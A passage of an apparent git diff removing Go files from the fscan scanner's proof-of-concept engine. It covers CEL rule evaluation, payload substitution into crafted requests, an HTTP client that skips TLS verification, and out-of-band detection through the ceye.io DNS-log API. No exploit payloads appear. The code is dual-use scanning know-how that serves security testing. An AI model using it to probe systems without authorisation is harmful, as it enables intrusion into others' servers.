rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
}
|
||||
return true, err
|
||||
}
|
||||
|
||||
func cloneRules(tags Rules) Rules {
|
||||
cloneTags := Rules{}
|
||||
cloneTags.Method = tags.Method
|
||||
cloneTags.Path = tags.Path
|
||||
cloneTags.Body = tags.Body
|
||||
cloneTags.Search = tags.Search
|
||||
cloneTags.FollowRedirects = tags.FollowRedirects
|
||||
cloneTags.Expression = tags.Expression
|
||||
cloneTags.Headers = cloneMap(tags.Headers)
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap(tags map[string]string) map[string]string {
|
||||
cloneTags := make(map[string]string)
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
|
||||
cloneTags := make(map[string]interface{})
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}) {
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if !strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = fmt.Sprintf("%v", value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,488 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
ast, iss := env.Compile(expression)
|
||||
if iss.Err() != nil {
|
||||
//fmt.Printf("compile: ", iss.Err())
|
||||
return nil, iss.Err()
|
||||
}
|
||||
|
||||
prg, err := env.Program(ast)
|
||||
if err != nil {
|
||||
//fmt.Printf("Program creation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out, _, err := prg.Eval(params)
|
||||
if err != nil {
|
||||
//fmt.Printf("Evaluation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var buf strings.Builder
|
||||
if u.Scheme != "" {
|
||||
buf.WriteString(u.Scheme)
|
||||
buf.WriteByte(':')
|
||||
}
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
buf.WriteString("//")
|
||||
}
|
||||
if h := u.Host; h != "" {
|
||||
buf.WriteString(u.Host)
|
||||
}
|
||||
}
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
buf.WriteByte('/')
|
||||
}
|
||||
if buf.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
buf.WriteString("./")
|
||||
}
|
||||
}
|
||||
buf.WriteString(path)
|
||||
|
||||
if u.Query != "" {
|
||||
buf.WriteByte('?')
|
||||
buf.WriteString(u.Query)
|
||||
}
|
||||
if u.Fragment != "" {
|
||||
buf.WriteByte('#')
|
||||
buf.WriteString(u.Fragment)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomUppercase",
|
||||
decls.NewOverload("randomUppercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatches_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomUppercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// 声明环境中的变量类型和函数
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
||||
for k, v := range args {
|
||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
||||
var d *exprpb.Decl
|
||||
if strings.HasPrefix(v, "randomInt") {
|
||||
d = decls.NewIdent(k, decls.Int, nil)
|
||||
} else if strings.HasPrefix(v, "newReverse") {
|
||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
||||
} else {
|
||||
d = decls.NewIdent(k, decls.String, nil)
|
||||
}
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
||||
}
|
||||
}
|
||||
|
||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
||||
|
||||
func randomLowercase(n int) string {
|
||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func randomUppercase(n int) string {
|
||||
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
if ceyeApi == "" || r.Domain == "" {
|
||||
return false
|
||||
}
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
fmt.Println(urlStr)
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
)
|
||||
randBytes := make([]byte, n)
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
return string(randBytes)
|
||||
}
|
||||
@@ -1,186 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Client *http.Client
|
||||
ClientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 15 * time.Second
|
||||
)
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 0,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
if DownProxy != "" {
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = oResp.Header.Get(k)
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp.Body = body
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
@@ -1,354 +0,0 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// source: http.proto
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
fmt "fmt"
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
math "math"
|
||||
)
|
||||
|
||||
// Reference imports to suppress errors if they are not otherwise used.
|
||||
var _ = proto.Marshal
|
||||
var _ = fmt.Errorf
|
||||
var _ = math.Inf
|
||||
|
||||
// This is a compile-time assertion to ensure that this generated file
|
||||
// is compatible with the proto package it is being compiled against.
|
||||
// A compilation error at this line likely means your copy of the
|
||||
// proto package needs to be updated.
|
||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
||||
|
||||
type UrlType struct {
|
||||
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
|
||||
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
|
||||
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
|
||||
